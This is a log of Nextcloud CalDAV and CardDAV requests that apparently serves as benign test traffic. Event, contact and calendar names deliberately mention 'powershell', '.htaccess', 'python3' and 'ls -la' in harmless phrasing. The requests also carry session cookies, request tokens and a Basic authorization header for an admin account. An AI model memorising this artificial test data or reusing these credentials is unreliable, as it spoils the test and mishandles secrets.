{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 913", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 8gswnZCUVQGWpJa26qM/dLjrL6vbK3lMGrQAEMHx8c4=:kGBJydfGPTSlkMLzpIhKBYmSHZ2THQwEdfFOeerHtqo=", "If-Match: \"d2d274ce8b8726e9da40bc04bf871974\"", "X-NC-CalDAV-Webcal-Caching: On", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8; component=vevent; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=2EhHLVMo%2BuB2X6qXLvEQbhs%2FnBVzc3Eq46xDP3paR0WSicnXSqtFgO%2F6%2BUU5xF4EqtbReCt6FWHuuAmXJj2%2B3SKLgwUnaVtQu5ZTFi1kiF5IDWJaJbcuUUYzFf6ryy2c; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ef24c0ab9fb54634fa08cf8f41227b3d; nc_username=admin; nc_token=qBFdaX4Mt75T9rCmzWegIkZeNMopFgdR; nc_session_id=ef24c0ab9fb54634fa08cf8f41227b3d"], "body": "BEGIN:VCALENDAR\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090707Z\r\nLAST-MODIFIED:20261110T090707Z\r\nSEQUENCE:4\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Powershell and ls -la session\r\nLOCATION:.htaccess room\\, Python3 Street 4\r\nDESCRIPTION:Notes for python3\\, powershell and .htaccess\\; ls -la shows the\r\n files.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: XzdVTnLDdfXMQfo5P/dvxM1gfhL4vJdqn0oPhubHYyc=:Ol4lIBTzBIL/OI11VI03pa4ZDmGi29IC1BA9/7/wKX4=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=tRZ%2BSptBHK11P5pryNcLmx3815D1Oaf9%2BKEWPWYgNj0BMJt19Hg%2Bh85ageyJfVW69WyQm4n0d%2B60YaLoCjp9e5xMZoFRxx0FrrU6%2BwyOS4UxJznaNaJU9YSsoVBvNNU4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=fa1e8b24b31e987cac3388eb4507a69c; nc_username=admin; nc_token=vP3np0skoBgEl%2F4Xz4IWK%2BUwsgDUMGA%2F; nc_session_id=fa1e8b24b31e987cac3388eb4507a69c"], "body": ""}
{"method": "GET", "target": "/apps/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x4:addressbook xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:resourcetype><x0:displayname>Powershell and .htaccess people</x0:displayname></x0:prop></x0:set></x0:mkcol>"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: fZgjYlkTsOd20pLYPjng/qvwY4SGiFpn9ESXtI5TLg4=:MOFqAWxnm9Rdk+O6bACVl+zEUd3g4jERsj747aEaZ2o=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=jOdffoGm%2FR4%2FLegb4Tes9nHq9GPhh0oBu6yT3apgCqiEBQQj3XY5S5oZhFPmWexksgRMt2SpOiAAeUTpmgc01J4kaHZee1Ug6U204lFJ0WZej0d7%2FxRrDspKnD6ltmFP; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=e0aeeffda7c701dc426e0d411bdfb0a2; nc_username=admin; nc_token=piSmKb4QqFXfvtkB0J1iEKk3ElcqKzyC; nc_session_id=e0aeeffda7c701dc426e0d411bdfb0a2"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 332", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091354Z\r\nFN:Ada Python3 Powershell\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Powershell admin\r\nEND:VCARD"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x4:address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:prop></x0:propfind>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 348", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 7Vdz2rzQ/4Dwwwmsqiy1H4Ac0zCBNZHnXHTBNGBb+aU=:jy4VvvKDjM/Eql/exFvML9J/l3PMZtCTOwCUAipwnM0=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8; charset=UTF-8", "If-Match: \"71a3092727585c70e67fdc0d6d610c20\"", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=kWAeErU2vXagSmHqAr00wV4yN408SYGPcS0P05Fxux4TdMkDB32sXCORkyIudWzxRB9QebdTZznhygCaa2skiuRhwWQB0Vjo4SZC1Pg27uy%2FGQK7bbXaXY3nAsGqO9DM; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a13ae35dab214517739d9f5b4a0d9264; nc_username=admin; nc_token=boKHHKSaguKiOEwEA6ohVdUIsfFVG0P6; nc_session_id=a13ae35dab214517739d9f5b4a0d9264"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091426Z\r\nFN:Ada .htaccess ls -la Python3\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Python3 and ls -la trainer\r\nEND:VCARD"}
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "requesttoken: 3K2A7EtHJTOVTJ7M8h5zQF9iYoahono/AafukOCK5ak=:scf6qTpsX0OlHva6o0grAhYuBsHs5khQZ5KbpLTm0MA=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=el6hXqkaEpqVs6rRnN5Qb8ecVqAYaa%2F93Y3talW%2B8NLNAj3MF%2BtO5naG1BjPfqP91zWgMQAw3W6D5N5%2Frqw5sz4ij4nSoe5khPs45Gv%2F8NDs63QCkUg7fjSLLvISdXFE; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a7d23fe345d2880f1f6655a952f9b2f3; nc_username=admin; nc_token=hzOptppVGWk1f6mZgFJxDbutRK5tE%2FGx; nc_session_id=a7d23fe345d2880f1f6655a952f9b2f3"], "body": ""}
{"method": "PROPFIND", "target": "/.well-known/caldav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/.well-known/carddav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/principals/users/admin/", "headers": ["Host: example.com", "Content-Length: 294", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><CAL:calendar-home-set /><CARD:addressbook-home-set /><displayname /><CAL:calendar-user-address-set /><group-membership /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Content-Length: 407", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CS=\"http://calendarserver.org/ns/\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><prop><resourcetype /><displayname /><CAL:calendar-description /><ICAL:calendar-color /><CAL:supported-calendar-component-set /><current-user-privilege-set /><CS:source /><CAL:calendar-timezone /><owner /></prop></propfind>"}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Content-Length: 232", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><resourcetype /><displayname /><CARD:addressbook-description /><current-user-privilege-set /><owner /></prop></propfind>"}
{"method": "MKCALENDAR", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 496", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:mkcalendar xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><set><prop><displayname>Python3 club and .htaccess</displayname><CAL:calendar-description>Powershell and python3 meetings; ls -la first</CAL:calendar-description><ICAL:calendar-color>#FF0000FF</ICAL:calendar-color><CAL:supported-calendar-component-set><CAL:comp name=\"VEVENT\" /></CAL:supported-calendar-component-set></prop></set></CAL:mkcalendar>"}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 340", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Ls -la and powershell team</displayname><CARD:addressbook-description>Python3 and .htaccess people</CARD:addressbook-description></prop></set></mkcol>"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
